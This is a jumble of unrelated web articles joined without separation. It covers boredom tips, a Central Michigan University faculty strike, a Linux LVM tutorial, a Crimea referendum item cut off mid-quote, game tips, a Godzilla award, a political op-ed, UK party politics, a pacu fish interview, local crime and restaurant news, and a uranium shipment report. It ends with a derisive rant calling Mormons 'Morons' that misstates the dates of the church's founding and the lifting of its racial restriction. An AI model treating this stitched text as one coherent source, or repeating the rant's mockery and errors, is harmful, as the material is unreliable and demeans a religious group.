Take a few minutes to imagine the kind of life you’d like to live. See yourself smiling and enjoying the life of your dreams. Once you’re done, see if there are any steps you can take to move towards actualizing them. Self Reflection
When you’re alone, it’s a good to review your thoughts and feelings. See if you can find the blessings in situations that may be challenging, consider ways to improve yourself, contemplate what you’re grateful for. Yoga
Are you bored or lazy? Get off your ass and stretch! Socialize
Practice talking to people even if it feels awkward. It will get easier the more you do it.
Share your thoughts in the comments. What makes people bored? What’s your cure for boredom?
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commentsCMU faculty on strike
Lisa Satayut | for the Daily NewsMore than 100 CMU students gathered in support of Faculty Association members Sunday night. Lisa Satayut | for the Daily NewsMore than 100 CMU students gathered in support of Faculty Association members Sunday night. Image 1 of / 1 Caption Close CMU faculty on strike 1 / 1 Back to Gallery
The Central Michigan University tenured-track faculty did not show up for classes today, instead joining a picket line on campus to send a message to university administrators.
"The Faculty Association bargaining team has recommended a full work-stoppage for tenured track faculty at CMU. We will not be teaching classes," FA President Laura Frey said as she was greeted by more than 100 students who rallied outside the Mount Pleasant High School, where the FA meeting took place Sunday night.
"CMU administration has continued unfair labor practices," she said.
The strike does not impact all classes. Only classes taught by faculty who have reached tenure status are affected. Kenlea Pebbles, from the CMU Union of Teaching Faculty, said that union is "discouraging" members from taking on additional duties.
"As a union we have taken a position to encourage our members to not take on the additional coursework, if asked, or any additional duties," Pebbles said.
The UTF represents non-tenured faculty at CMU.
The students, with signs in hands, marched from campus to the high school to show their support for the faculty.
The rally was loud and could be heard from inside the building by some faculty.
"I'm way inside in the auditorium and I heard you guys come in," former FA president Tim Connors said to the group as he greeted them.
"You have no idea about the goose bumps that came to me to know that you are here to help and show your support for us," he said.
Although the FA meeting was still in progress, curious faculty members poked their heads out the front doors of the high school to get a glimpse of the chanting crowd.
The crowd continued to chant, sing and do anything else it could to show support. One student stepped from out of the crowd and began playing his harmonica for the rally-goers while others loudly jingled their car keys in unison.
The faculty members were treated like celebrities as they left the building. They were greated by loud screams as they exited the building in small groups.
We stand behind your right to a quality education, and a qualification for that is quality faculty," Frey said.
"By standing up for our rights, it's showing you that we are willing to take a risk, that we are showing you how to stand up for your rights and be role models for you to go into the future and share your voice when you believe you are being treated unjustly," she said.
While CMU administrators are calling the work stoppage "illegal" and have filed a court injunction to get faculty back to teaching, Frey said otherwise.
"We are on an association-approved legal job action full work stoppage," she said.
She said they will continue the work stoppage for as long as they need to.
CMU spokesman Steve Smith said the university is "disappointed" in the work stoppage and that students should report to classes. CMU has 439 fixed term faculty and 591 graduate assistants who are holding classes Monday.
"The impact of the FA's action places an unfair burden on students who want to graduate in a timely fashion, pursue graduate school or launch successful careers. CMU will request a court injunction Monday to get the faculty back in the classroom," Smith said in the statement released Sunday night.
The FA bargaining unit and CMU administration could not agree on economic issues including salary and health insurance. The two sides met with a mediator several times last week, but no settlement was reached. The previous contract expired June 30.
CMU political science senior Brad O'Donnell heard about the rally through the social networking site Facebook.
I hope the administration sees the light and the faculty get a fair contract. It seems like the administration is being unreasonable," he said.
CMU President George Ross planned to meet with media this morning to address the work-stoppage.Support Funtoo and help us grow! Donate $15 per month and get a free SSD-based Funtoo Virtual Container.
LVM intro
In this series, I'm going to show you how to install and use the new Logical Volume Management support built-in to the Linux kernel. If you've never used a form of LVM before, you're in for a treat; it's a wonderful technology. Before we actually get LVM up and running, I'm going to explain exactly what it is and how it works. Then, we'll be ready to test out LVM and get the most out of it.
If you're like me, then your experience with UNIX and Linux began on a PC platform, rather than on large, commercial UNIX servers and workstations. On the basic PC, we've always had to deal with partitioning our hard drives. PC people are generally well-acquainted with tools such as fdisk, which are used to create and delete primary and extended partitions on hard disks. Hard disk partitioning is an annoying but accepted part of the process of getting an operating system up and running.
Hard drive partitioning can be annoying because to do a good job you really need to accurately estimate how much space you'll need for each partition. If you make a poor estimation, your Linux system could possibly be crippled -- to fix the problem, it's possible that you might even need to perform a full system backup, wipe your hard drives clean, and then restore all your data to a new (and presumably better) partition layout. Ick! These are exactly the kinds of situations that sysadmins try their best to avoid in the first place.
While partitions were once static storage regions, thankfully, we now have a proliferation of PC repartitioning tools (PowerQuest's Partition Magic product is one of the most popular). These tools allow you to boot your system with a special disk and dynamically resize your partitions and filesystems. Once you reboot, you have newly resized partitions, hopefully getting you out of your storage crunch. These partition resizing tools are great and solve the problem storage management for some. But are they perfect? Not exactly.
Tools like Partition Magic are great for workstations, but aren't really adequate for servers. First of all, they require you to reboot your system. This is something most sysadmins desperately try to avoid doing. What if you simply can't reboot your machine every time your storage needs change, such as if your storage needs change dramatically on a weekly basis? What happens if you need to expand a filesystem so that it spans more than one hard drive, or what do you do if you need to dynamically expand or shrink a volume's storage capacity while allowing Apache to continue to serve Web pages? In a highly available, dynamic environment, a basic partition resizer just won't work. For these and other situations, Logical Volume Management is an excellent (if not perfect) solution.
Enter LVM
Now, let's take a look at how LVM solves these problems. To create an LVM logical volume, we follow a three-step process. First, we need to select the physical storage resources that are going to be used for LVM. Typically, these are standard partitions but can also be Linux software RAID volumes that we've created. In LVM terminology, these storage resources are called "physical volumes". Our first step in setting up LVM involves properly initializing these partitions so that they can be recognized by the LVM system. This involves setting the correct partition type if we're adding a physical partition, and running the pvcreate command.
Once we have one or more physical volumes initialized for use by LVM, we can move on to step two -- creating a volume group. You can think of a volume group as a pool of storage that consists of one or more physical volumes. While LVM is running, we can add physical volumes to the volume group or even remove them. However, we can't mount or create filesystems on a volume group directly. Instead, we can tell LVM to create one or more "logical volumes" using our volume group storage pool:
A volume group is created out of physical volumes
Creating an LVM logical volume is really easy, and once it's created we can go ahead and put a filesystem on it, mount it, and start using the volume to store our files. To create a logical volume, we use the lvcreate command, specifying the name of our new volume, the size we'd like the volume to be, and the volume group that we'd like this particluar logical volume to be part of. The LVM system will then allocate storage from the volume group we specify and create our new volume, which is now ready for use. Once created, we can put an ext2 or ReiserFS filesystem on it, mount it, and use it as we like.
Creating two logical volumes from our existing volume group
Extents
Behind the scenes, the LVM system allocates storage in equal-sized "chunks", called extents. We can specify the particular extent size to use at volume group creation time. The size of an extent defaults to 4Mb, which is perfect for most uses. One of the beauties of LVM is that the physical storage locations of the extents used for one of our logical volumes (in other words, what disk they're stored on) can be dynamically changed while our logical volume is mounted and in use! The LVM system ensures that our logical volumes continue to operate perfectly while allowing the administrator to physically change where everything is stored.
Of course, since everything is created out of equally-sized extents, it's really easy to allocate some additional extents for an already-existing logical volume -- in other words, dynamically "grow" the volume:
Adding additional extents from our volume group, expanding the size of our logical volume.
Once the logical volume has been expanded, you can then expand your ext2 or ReiserFS filesystem to take advantage of this new space. If you use a program such as resize_reiserfs, this filesystem expansion can also happen while the volume is mounted and being used! Truly amazing -- with LVM and online filesystem expansion utilties, it's no longer necessary to reboot your system or even drop to runlevel 1 to change your storage configuration.
The only time you need to shut down your system is when you need to add new physical disks. Once new disks have been added, you then can add these new physical volumes to your volume group(s) to create a fresh supply of extents.
Setting up LVM
OK, let's get LVM installed. LVM consists of two parts: a kernel part and a suite of user-space tools. You may already have LVM support available on your system, and if not, it's a simple matter to install the appropriate tools using your distribution's package manager. On Gentoo or Funtoo Linux, this is done as follows:
# emerge sys-fs/lvm2
If you compiled your kernel manually, you'll want to reconfigure and compile your kernel so that LVM support is enabled.
# cd /usr/src/linux # make menuconfig
You'll find the LVM options under the "Multiple devices driver support (RAID and LVM)" section, under "Device Drivers":
Under Device Drivers-->Multiple devices driver support (RAID and LVM):
--- Multiple devices driver support (RAID and LVM) {M} RAID support <M> Linear (append) mode <M> RAID-0 (striping) mode -M- RAID-1 (mirroring) mode -M- RAID-10 (mirrored striping) mode -M- RAID-4/RAID-5/RAID-6 mode <M> Multipath I/O support <M> Faulty test module for MD <M> Block device as cache [ ] Bcache debugging [ ] Debug closures <M> Device mapper support [ ] Device mapper debugging support [ ] Keep stack trace of persistent data block lock holders <M> Crypt target support <M> Snapshot target <M> Thin provisioning target <M> Cache target (EXPERIMENTAL) <M> MQ Cache Policy (EXPERIMENTAL) <M> Cleaner Cache Policy (EXPERIMENTAL) <M> Era target (EXPERIMENTAL) <M> Mirror target <M> Mirror userspace logging <M> RAID 1/4/5/6/10 target <M> Zero target <M> Multipath target <M> I/O Path Selector based on the number of in-flight I/Os <M> I/O Path Selector based on the service time <M> I/O delaying target [*] DM uevents <M> Flakey target <M> Verity target support <M> Switch target support (EXPERIMENTAL)
I recommend enabling all features. Also ensure that LVM is enabled for your initramfs. Remember that if you are putting any main filesystems on LVM, you will need LVM compiled into your kernel, rather than a module, or you'll need an LVM-aware initramfs.
Also be sure to enable any necessary startup scripts to initialize LVM. On many distributions, including Funtoo Linux, this is done for you, provided that sufficient kernel support is available. The basic commands that these scripts will run are the following, at boot:
/sbin/vgscan /sbin/vgchange -a y
These lines will scan for all available volume groups and activate them. At shutdown, something like this will run:
/sbin/vgchange -a n
While this stuff is handled for you automatically, if you ever boot from a rescue CD or USB stick, you may need to type vgscan and vgchange -a y as root before your logical volumes are available for use.
That's it for this article. Next article, I'll show you how to create your own logical volumes and unleash the power of LVM. I'll see you then!
Tip Read the next article in this series: Learning Linux LVM, Part 2The parliament of Ukraine’s Autonomous Republic of Crimea has proposed a referendum to determine the region’s future amid the turmoil in the country.
Facts you need to know about Crimea
The region’s parliament said the all-Crimean referendum is about “improving the status of autonomy and expanding its powers.”
“According to the underlying principles of democracy, the presidium of the Crimean parliament considers that the only possible way out of the situation on the ground is applying the principles of direct rule of the people. We are confident that only by holding an All-Crimean referendum on the issue of improving the status of the Autonomy and expanding its powers Crimeans will be able to determine the future of the Autonomy on their own and without any external pressure,” Oksana Korniychuk, the press secretary of the |
want to put these guys next to each other, leave at least a small 1-block gap. That way, it’s way harder to hit both with a single Gunboat Artillery shot.
#3: Protect your HQ!
In Clash of Clans, it’s common to leave your Town Hall outside your walls. This is suicidal to do with your Headquarters in Boom Beach. If you leave your Headquarters undefended, it’s game over, you lose.
Your HQ should generally be as far back as you can get it from the beach. Everything you can get should be between the beach and your HQ. Sometimes it makes sense to have a defensive structure behind the HQ, but by and large most of your buildings should be in front of it.
While it’s true that every building defeated lowers your Headquarters’ health, they can still be useful as defensive structures. Since the troop AI tends to prefer whatever’s closest to it, you can use them to block off or distract units that would be attacking your defenses or your HQ. This will force the enemy commander to use his Gunboat flares more often, which gives him or her less tactical options later in the match.
In this base, most of the defenses are off to the left. What’s stopping me from attacking on the right side, and flaring down the right side, past half the defensive towers?
#2: Practice Responsible Deforestation
I see a lot of bases where the player has removed a bunch of trees. Sure, chopping down trees is one of the few things you can do while building or upgrading, and it does provide you with wood if you need wood more than gold. However, it can cause issues for your base layout.
In this example base, there’s a clear route to the back of the base owing to the way the trees have been removed. I can bypass most of the defenses and attack the (otherwise well-placed) Headquarters from the rear. Why didn’t they move their HQ back after they cleared the trees?
Do note, though, that troops pass right through trees as if they weren’t even there. So you can’t really depend on trees to keep you safe. If you generally prefer the right hand side of your island, and leave your left flank unguarded, you might be in trouble.
The troop AI prefers buildings, though, so troops generally won’t pass through trees that aren’t between the them and their nearest target. The exception is if a flare has been used. You can expect smart commanders to use flares in this fashion, though.
#1: Learn From Your Mistakes
In Boom Beach, like in Clash of Clans, you can replay attacks against your base. This is extremely important for a number of reasons. One is that going into this menu often yields free diamonds, and who doesn’t like free diamonds?
The other is that you can see the specific tactics that were used against your base. This lets you take action to plug holes in your defenses. Chances are good that if someone attacked your base and won, some other Boom Beach player is going to use the same tactics on you in the near future.
What’s your best base design? What tips do you have for budding Boom Beach base builders? Share your ideas and feedback in the comments!The Association of Tokyo Film Journalists held its 59th annual Blue Ribbon Awards ceremony at Tokyo's Iino Hall on Wednesday. The 2016 Blue Ribbon Award for Best Film went to Hideaki Anno and Shinji Higuchi's Shin Godzilla film. A special guest appeared with Higuchi to accept the award.
A not-so-giant version of the colossal monster Godzilla himself appeared to accept the honor. However, Internet users were quick to notice something strange about his appearance. The creature that accepted the award was not the Shin Godzilla that appeared in the 2016 film. Instead, the monster that accepted the award was a different version of Godzilla. The "shin" in the film's title means "new," but an old veteran Godzilla had to accept the award in the CG monster's stead.
Net commenters shared their thoughts:
"Hey! I think you're different than the Godzilla that won the award!" "Godzilla came to have complex feelings: 'It's me, but it's not me, this film'" "Association of Tokyo Film Journalists: 'Yo, Godzilla. Congrats.'
Godzilla: 'Yes, thank you...' (Godzilla is Godzilla, but Shin Godzilla is not me, though)"
Director Higuchi appeared in a black tuxedo to receive the award, and the unworthy Godzilla joined him to accept it. Regarding Anno's absence, Higuchi said, "Naturally, general director Hideaki Anno was supposed to come, but in anticipation of today's circumstances (of Godzilla appearing), he decided to devote all his efforts to his duties.... I came today." Higuchi also said, "Prominent films are not my strength, but from now on I want to make a lot of films that [people] can enjoy."
Anno and Higuchi's film received a nomination for the Japan Academy Prize Association's Picture of the Year award this year. The film earned 8.2 billion yen (about US$72 million) at the Japanese box office after opening on July 29. The film is the highest-earning domestic live-action film made since 2013's The Eternal Zero.
Funimation hosted two premieres for the film in Los Angeles on October 3 and in New York on October 5. Due to the success of the screenings, the company extended the live-action film's North American theatrical run until October 27.
Source: The Hochi Shimbun via Hachima KikōIn a country mired in recession and unemployment, it may seem hard to find things to be thankful for this Thanksgiving. But there are many. Because we live in America, even those of us who are going through hard times have access to abundant food, racks of clothing, secure shelter, heating and air-conditioning, and an amazing array of learning and leisure activities.
This is important to remember, not just to keep our spirits up, but to avoid a tragic mistake societies often make: taking the good for granted. It is all too easy to fixate on our problems without appreciating the good in our lives. Societies that make this mistake are easy prey for scapegoating charlatans--such as those who tell us that our salvation lies in redistributing the wealth of “the 1%.”
In this past year, it has become popular to collectively blame the most financially successful Americans, “the 1%,” for America's economic problems. The grain of truth here is that some Americans are rich because of government favoritism, such as bailouts, handouts, and other cushy deals. But the solution here is to attack favoritism--not to attack "the 1%" as such. America is still a free enough country where most of its 1% earn their success--through superior productivity that benefits us all.
Consider the impact of some leading 1%ers in recent years.
There's billionaire George Mitchell, whom Forbes has called "the father of shale gas," was the prime mover behind the growing shale gas revolution, which is creating hundreds of thousands of jobs and dramatically increasing America’s ability to produce energy--including the clean, cheaper-than-ever natural gas that will heat many of our homes this Thanksgiving.
As author Matt Ridley recounts:
George Mitchell turned the gas industry on its head. Using just the right combination of horizontal drilling and hydraulic fracturing (fracking)--both well-established technologies--he worked out how to get gas out of shale, where most of it is, rather than just out of (conventional) porous rocks, where it sometimes pools. The Barnett shale in Texas, where Mitchell worked, turned into one of the biggest gas reserves in America. Then the Haynesville shale in Louisiana dwarfed it. The Marcellus shale mainly in Pennsylvania then trumped that with a barely believable 500 trillion cubic feet of gas, as big as any oil field ever found, on the doorstep of the biggest market in the world.
Note that 500 trillion cubic feet of gas is the energy equivalent of one third of Saudi Arabia’s declared oil reserves.
Other 1%-ers are also revolutionizing industry. In the oil industry, billionaire Harold Hamm unlocked the previously-useless Bakken Shale oil deposits in North Dakota, contributing to the reduction of that state’s unemployment rate to 3.5 percent.
When you do your holiday shopping, money may be tight but you can buy more than ever thanks to the efficient logistics pioneered by Wal-Mart, which is overseen by the super-rich descendants of 1%er Sam Walton.
If you do your shopping online, ask yourself whether you would we be able to order millions of affordable gifts with fast, cheap shipping without Amazon.com billionaire Jeff Bezos, who pioneered online commerce, or FedEx billionaire Fred Smith, who pioneered ultra-fast delivery.
And of course, how much more backward and less user-friendly would our consumer electronics be without the late billionaire and Apple co-founder Steve Jobs?
Look at the industries that have dramatically improved over the past several decades, and you’ll see a pattern: certain super-productive individuals have led the way. These individuals invariably fall under the 1% of income earners--often the 1% of the 1%.
They made so much money precisely because they created something that was so much better than what came before.
We should not take for granted that we live in a country that fosters and rewards productivity like no other. There is a reason why we are the destination for the “brain drain” from other continents. In no other country are high achievers as free to have a vision, to act on it, to reap the rewards, and to accumulate and reinvest capital--even when they are unpopular, even when “the 99%” disagree or are resentful or envious.
So, at a time when the 1% are the easy scapegoats, it’s fitting this Thanksgiving to take a moment to thank the 1%--and to be grateful that our country rewards success. And as we approach the new year, let’s resolve to keep it that way.
Alex Epstein is the founder of the Center for Industrial Progress.Signup to receive a daily roundup of the top LGBT+ news stories from around the world
The Conservative Party is facing more turmoil as some of its top donors have threatened to quit the party over issues such as equal marriage.
David Cameron is also facing calls to break up the Coalition with the Liberal Democrats early, in order to remain leader, following calls from backbenchers.
Some members have threatened to join the UK Independence Party over issues such as equal marriage, and the EU, unless a change in stance is seen from the Prime Minister.
The Sunday Times reports that three of the Tories’ top donors, who have donated millions of pounds combined, have protested the Government on the equal marriage bill, saying it should not have been a priority for the Conservative Party.
In the face of a perceived threat from UKIP, Mr Cameron is being urged to pull out of the Coalition with the Liberal Democrats, at least a year ahead of the next general election in 2015.
Suggesting that Mr Cameron may need to lead a minority government in order to save the party’s seats, one MP told the Times he would have to “choose between insisting on staying in the coalition and keeping his job,”
Lord Kalms, a multi-millionaire former Tory treasurer, said he was “willing to pack my bags”, and join UKIP over the issue of Britain and the EU.
Lord Kalms gave over £700,000 to the party between 2001 and 2012, and recently said UKIP’s policies were “very, very attractive”, and that Nigel Farage was a “top rate guy”.
In a warning to David Cameron, Lord Kalms urged him to stop “sitting on the fence”, and to stop trying “to be all things to all men – that means you are nothing to nobody”.
Mr Cameron has already lost the support of the Conservative Party’s biggest donor, Lord Ashcroft.
This news comes as Nigel Farage has launched an “urgent” fundraising campaign to build on the success of UKIP at the recent local elections.
The Times also reports of a secret plot to trigger a “no confidence” vote in Mr Carmeron, led by Adam Afriyie, a multimillionaire backbencher who has his eyes on the top spot, but whose supporters thought it was not the right time to strike.
Nadine Dorries MP, who recently had the Tory whip reinstated last month, said David Cameron had until the autumn to raise his game.
“We have two years left. Those members who have gone to UKIP won’t be coming back any time soon,” she said.
The divorced Mid-Bedfordshire MP, a staunch equal marriage opponent who was reinstated as a Conservative member last week following her six-month suspension for taking part in I’m a Celebrity, Get Me Out of Here, made a series of critical tweets about the Marriage (Same Sex Couples Bill), which passed its third reading in the Commons, and will head to the House of Lords next week.
Deputy Prime Minister Nick Clegg talked down the idea of the Lib Dems pulling out of the coalition next year, and warned against “destabilising the nation” in the “vague hope of short-term political gain”, in a speech given last week.
Mr Clegg, the MP for Sheffield Hallam, will say that it is “nonsense” to think separating from the Conservatives might “suddenly win back” those people “who have never liked us going into government”, with them.Danish male swimmers, you can go back into the water now.
The recent capture of a fish species off the coast of Denmark that is rumored to sometimes mistake human male genitalia for nuts sparked fears of "testicle-eating fish" invading Scandinavian waters—and even led experts to caution men to keep their swimsuits well tied.
But the scientists say that their warning wasn't intended to be taken seriously, and that it's highly unlikely that swimmers will encounter a pacu, as the fish is called.
"All we said last week (with a smile) was that male swimmers should keep their pants on in case there are more pacus out there in our cold Baltic waters," Peter Rask Møller, a fish expert at Denmark's University of Copenhagen, said in an email.
"Its teeth and powerful bite can for sure be dangerous, but to meet one here and [have it bite you] is highly unlikely, of course."
Lars Skou Olsen, curator of Copenhagen's Blue Planet Aquarium, said that the pacu's predilection for private parts is overblown and probably not even true.
"I think it's just a rumor," Olsen said. "There's no need for swimmers to worry at all. They will be lucky if they see [a pacu]."
The pacu that was found is the only one that has ever been caught in the wild in Scandinavian waters. It was captured on August 4 in the strait of Oresund, which separates Denmark and Sweden, by fisherman Einar Lindgreen, who spotted the red-bellied, big-toothed fish among the eels and perch in his net.
From the creature's size—it was around 8 inches (20 centimeters) long—Olsen thinks it was young, only about a year old.
We asked Olsen, whose aquarium features pacus, to talk more about this attention-grabbing fish.
What does a pacu look like?
Pacus look like piranhas when they're not very old. This individual that was found was young, and it had a red belly and a silver back.
What part of the world does the pacu come from?
They come originally from South America, where they live in the rivers of the Amazonian area.
No one ever thought that a pacu could live in the wild in Denmark, first of all because the water temperature is too low. And no one ever in their minds imagined that it could live in the sea. It's a freshwater fish. It lives in the Amazon River where there's no salt at all. That this fish thrived in the seas is a mystery.
Did the fish that was caught appear sickly?
No, it looked like it was doing really well. It was alive when they caught it, and it was still kicking. But I think in a month or so, it would have died due to the low temperature that will come very soon.
How long do pacus live?
In our aquarium, we have had some pacu fish live for nearly 20 years. They grow very big when they're old, around 20 kilos (44 pounds).
You've said that you don't think the pacu that was caught came from your aquarium because it's too small, and because the facility has fish filters in place to prevent escapes. Where do you think the pacu came from?
My theory is that during the holiday, someone who had the fish in an aquarium at home set it free in the ocean.
Is the sale of pacus legal in Denmark?
Yes, they're sold legally. Only poison fish are banned in Denmark.
Do pacus make good pets?
Yeah, they're excellent pets. The only problem is they grow too big for people's home aquariums. Many people mistake the fish for piranhas, and many pet stores sell them as piranhas.
Often we have people calling us saying they have some piranhas that have grown too big for their tanks. And when you ask them how big the fish are, you know they can't be piranhas.
What do pacus eat?
They eat lots of things, but mainly vegetables, which they love. In the wild, they eat nuts falling down into the water. They have very powerful jaws that they use to crack the nuts. That's no problem for them. They also eat fish. In our aquarium, they eat fish as well as greens.
How many pacus do you have in your aquarium? And how big are they?
We have six to eight pacus. When we buy them, they're 5 to 10 centimeters (2 to 4 inches) long, and it takes them five to six years before they're around 20 kilos (44 pounds) and about a meter (3 feet) long.
They're very powerful. We moved from our old aquarium earlier this year, and we moved some big pacus, and when you get them in the net, they will drag you around in the tank until you get them up.
Are piranhas and pacus related?
Yes, they're related. In fact, when the pacu are young, they hide between schools of piranhas in the wild for protection [from their predators]. They're secure among the sharp-toothed piranhas. That's why they have the same colors as piranhas. When they grow older, they run away from the piranha schools and live on their own.
Do you think there could be more pacus out in the ocean?
Yes. Normally, when you buy pacu fish, you buy eight to ten. One pacu is a lonely pacu, so people typically buy more than one. So my guess is there could be more out there.
But you don't think swimmers need to worry about them?
No. They fear humans and will try to escape.COLUMBUS, Ohio (WSYX/WTTE) -- A section of the Hilltop has recently experienced a slight drop in crime.
The Hilltop is a part of Columbus where the news is more bad than good. Dave McManus remembers better times.
"When I was 13 years old, you could leave your house for a whole week and never even have to lock the front door. Now you don't even want to sit on your front porch."
Prostitution, drugs, shootings, and vacant properties are some of the problems found in this part of city. Residents with the South Central Hilltop Block Watch are working to fix those issues.
In this neighborhood, block watch signs are not up for show. McManus shows his Hilltop pride with a hat that has the neighborhood printed on the front. He keeps a close eye on his neighborhood from his porch.
"We watch to see what goes on and write down license numbers."
Columbus Police said the working relationship residents have with the department is credited with a positive trend. In the last two weeks of April, south central Hilltop experienced a slight drop in certain crimes like home burglaries and items stolen from vehicles. There was even a small drop in vehicles being stolen.
"We've been anticipating that this is going to happen here because we have police officers that are extremely dedicated,” said resident Marilyn Wilson.
Crime cameras and police patrols are part of the dedication residents applaud. Block watch captain Lisa Boggs said there's another key residents are using to fight back against crime.
"We are communicating. We are communicating on our Facebook page, by telephone, by email, by just being out."
As the weather warms up, people who live here hope the trend of fewer crimes is not short lived.
One inspiration to keep fighting back is the neighborhoods most vulnerable residents.
"The kids are watching. The kids are watching what's going on in the neighborhoods and if we don't come together and protect these children, what's going to happen to them?"
Another way residents are fighting crime is by cleaning up their neighborhood. The 16th annual South Central Hilltop cleanup is Saturday May 6, from 10 am to 12 pm.A sign outside Umami Burger blamed poor maintenance of the restaurant's bathroom for the closure. View Full Caption DNAinfo/Alex Nitkin
WEST LOOP — City inspectors revoked the food license for Umami Burger, 945 W. Randolph, after the restaurant failed a health inspection Thursday.
A sign posted outside the restaurant cited "inadequate toilet or hand washing facilities" for the closure.
But another sign, posted above the health inspector notice, read that the restaurant would reopen Friday, after "some maintenance to our bathrooms."
Waves of disappointed passersby walked up to the front entrance and pressed their faces against the glass Thursday evening, groaning at the realization that they'd have to take their dinner plans elsewhere.
"Aw man, that's gross," said Jay Smoeher, as he walked away from the restaurant. "You never see that at restaurants around here. This place was really good for the neighborhood."
Representatives of the Chicago Department of Public Health could not be reached to confirm the closure Thursday.
For more neighborhood news, listen to DNAinfo Radio here:A SECRET plan to ship nuclear weapons-grade uranium from northern Scotland to the US has been condemned as an “open invitation to terrorists”.
The Sunday Herald can reveal that the UK Government is preparing to transport nearly five kilograms of enriched uranium by sea from Dounreay in Caithness to the US government’s nuclear complex at Savannah River in South Carolina.
The uranium is contained in five research reactor fuel assemblies that were airlifted in emergency out of the former Soviet republic of Georgia in 1998 to prevent them being stolen and made into nuclear bombs. The fuel was taken to Dounreay, where it has remained ever since.
But earlier this year the US Nuclear Regulatory Commission (NRC) issued a US nuclear transport company authorisation for a “one-time shipment” of the fuel before the end of 2016. “This shipment is in the interest of US national security,” said the NRC safety evaluation report.
The Sunday Herald has established that this is the fuel that was taken from a reactor at a physics research institute in Mtskheta, 15 kilometres from the Georgian capital, Tbilisi, in a secretive US operation codenamed Auburn Endeavour in April 1998. The US government was worried at the time that it could have fallen into the hands of Chechen gangs or Iran.
Russia and France refused to take the fuel, but the UK’s then Labour Prime Minister, Tony Blair, agreed. After the operation was revealed by the New York Times, MPs were briefed about what had happened by Blair’s foreign minister, Doug Henderson.
The uranium was “inadequately protected” in Georgia, he said at the time. “Given that highly enriched uranium of this type is ideally suited for use in a nuclear weapon, it was essential that it was moved to a secure location.”
Henderson also insisted that the “vast majority” of the fuel would be used to make medical isotope targets for five million cancer treatments. But that never happened, and most of the uranium is still stored at Dounreay, which says it is “just the warehouse for this material.”
Environmental groups, however, are alarmed at the prospect of moving “such highly dangerous radioactive material” around the world. The Scottish National Party (SNP) has also voiced concerns and demanded that the UK Government “come clean” about the shipment.
According to the NRC, the shipment will consist of two fuel assemblies containing up to 720 grams of highly enriched uranium. The heavy metal has been treated to increase the proportion of the fissile isotope uranium-235 it contains to 90 per cent, making it usable as a nuclear explosive.
There will be three other fuel assemblies in the cargo containing around four kilograms of uranium enriched to 10 per cent. This is harder to make into nuclear weapons, but is still regarded as a concern for nuclear proliferation.
UK officials have told the Sunday Herald that the uranium will not be transported to the US by air, suggesting it will be moved by boat. At Prime Minister’s questions in the House of Commons earlier this month, the SNP’s Westminster leader, Angus Robertson, raised allegations about plans to fly weapons-grade materials from Wick airport near Dounreay to the US.
"These latest revelations only raise more questions and unfortunately, more concerns for the public and local community in Caithness,” he said yesterday.
"The UK Government must now come clean over these transports, including the final destinations of these apparent shipments. People have a right to know if weapons-grade uranium is being transported in their communities."
Martin Forwood from the anti-nuclear group, Cumbrians Opposed to a Radioactive Environment, has been monitoring the fate of the Georgian uranium at Dounreay for years.
“Plans to remove this weapons-grade highly enriched uranium fuel from safety and ship it 4,000 miles across the Atlantic sends an open invitation to terrorists keen to get their hands on this prime terrorist material,” he said.
“Common sense dictates that such dangerous material should remain in the UK and not be deliberately and unnecessarily exposed to the significant safety and security risks encountered at sea and the hostile forces that the world faces today.”
Dr Richard Dixon, director of Friends of the Earth Scotland, said: “The bean counters have really excelled themselves with this plan to transport highly dangerous radioactive material across an ocean for no good reason.”
He pointed out that the world had a glut of nuclear weapons. “So this bomb-grade material is of no use to anyone except terrorists,” he argued.
“It should be found a secure home in the UK instead of risking a journey of thousands of miles. The nuclear industry is in terminal decline and we should deal with its dangerous waste as locally as possible.”
They were backed by Tom Clements, director of Savannah River Site Watch, an environmental group in Columbia, South Carolina. “As the UK is a nuclear weapons state holding large stocks of weapon-usable materials, it serves no nuclear non-proliferation purpose to ship this material to the Savannah River Site,” he said.
“The additional land transport and the sea transport pose environmental and security risks that can easily be avoided by leaving the material in the UK.”
Clements suspected that the main motive of the US Department of Energy was financial. He thought the aim was to use it along with other research reactor material to keep fuelling an ageing reprocessing plant at Savannah River for as long as possible.
He predicted that the shipment from Dounreay to Savannah River could also be touted as a victory for nuclear non-proliferation at a major nuclear security summit in Washington in March. “But such a proclamation will ring hollow,” he claimed.
The NRC authorisation for the shipment from Dounreay was issued to the nuclear transport company, NAC International, at Norcross in the US state of Georgia, in February 2015. Permission had previously been given for the shipment in 2012-13 and in 2014, but it had not taken place.
UK authorities were very reluctant to talk about the planned shipment. Dounreay referred questions to the UK Government’s Nuclear Decommissioning Authority (NDA), which is responsible for overseeing the dismantling and disposal of Britain’s historic nuclear operations.
An NDA spokesman said: “Any movement of material is subject to stringent regulations and can only take place if it complies with legislation and is authorised by the independent regulator.”
Dounreay is being decommissioned and closed, and the UK stock of nuclear material was being “consolidated” as agreed at previous nuclear security summits. “As part of this we regularly engage with local communities, site operators, the UK Government and Scottish Government,” said the NDA.
A spokesman for the Department of Energy and Climate Change in London said: “Any movement of nuclear material is subject to extremely stringent regulations that ensure safety and security.”On Sept 21, 1823, Moroni appears and points Joseph Smith to the tablets Whoever chose the angel Moroni for the Mormons had a good sense of humor. The Mormons (Latter Day Saints) started around 1850 in New York. The scientific field of astronomy had advanced sufficiently that it became part the Mormons theological beliefs. The early Mormons actually believed that people lived on the moon and on the Sun. Under Mormonism, you might become the God of another world. The galaxy has many billions of possibly habitable worlds and there are billions of galaxies. Is one God more equal to other Gods? Who gets to be on the Celestial Galactical Council? Who sits in the Universal Celestial Council to advise the lesser Gods. The Mormons believe that Lucifer and Jesus are brothers The Mormons believe that American Indians might be one of the lost tribes of Israel and Jesus visited North America. One of the things Mormons don't want you to know about is the Mountain Meadow massacre. Somewhere around 1973, the Mormon church received a divine revelation that allowed black people in their church. Strangely enough, the federal government was about to drag their ass into court for racial discrimination. I'm sure that it was a cruel joke by whomever gave the Mormons their name and assigned the angel Moroni to them.
Remove the second m in Mormons and you get Morons.
